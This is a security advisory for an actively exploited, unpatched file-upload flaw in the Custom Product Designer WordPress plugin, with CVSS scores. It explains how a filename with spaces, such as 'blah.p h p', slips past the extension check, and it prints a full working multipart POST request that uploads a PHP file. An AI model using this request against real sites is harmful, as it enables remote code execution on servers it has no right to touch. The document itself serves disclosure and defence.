9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
The plugin allows unauthenticated attackers to upload arbitrary files, resulting in remote code execution. The issue is being actively exploited, and no patch is available. Further details will be made available once pathed.
The Custom Product Designer plugin for WordPress offers the ability for customers to upload images and PDF files via the custom-image-handler.php. On sites running Apache, this file must be loaded via the βfpd_custom_uplod_fileβ AJAX action, whereas on sites running NGINX this file can be accessed directly, as the .htaccess rule blocking access to this file will not be processed on NGINX.
Regardless of how the file is accessed, it is possible to use the custom image handler to upload executable PHP files. This is possible because the FPD_Image_Utils::sanitize_filename method in fpd-image-utils checks for malicious extensions on the unsanitized version of the supplied filename. In other words, itβs possible to supply a file with a βfilenameβ of β.p h pβ or β.p-h-pβ. Both of these pass the malicious file extension check, but are sanitized down to β.phpβ, and are added to the site in a filename with a unique id ending in PHP (e.g. 1d4609806ff0f4e89a3fb5fa35678fa0.php).
An example POST body is listed below though it would be good to not display it until the vulnerability has been patched:
------WebKitFormBoundaryPq7qdNQ9shOFwW78
Content-Disposition: form-data; name="action"
fpd_custom_uplod_file
------WebKitFormBoundaryPq7qdNQ9shOFwW78
Content-Disposition: form-data; name="uploadsDir"
uploads
------WebKitFormBoundaryPq7qdNQ9shOFwW78
Content-Disposition: form-data; name="uploadsDirURL"
uploads
------WebKitFormBoundaryPq7qdNQ9shOFwW78
Content-Disposition: form-data; name="saveOnServer"
1
------WebKitFormBoundaryPq7qdNQ9shOFwW78
Content-Disposition: form-data; name="pdf"; filename="blah.p h p"
Content-Type: application/pdf
<?php phpinfo();
------WebKitFormBoundaryPq7qdNQ9shOFwW78--
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P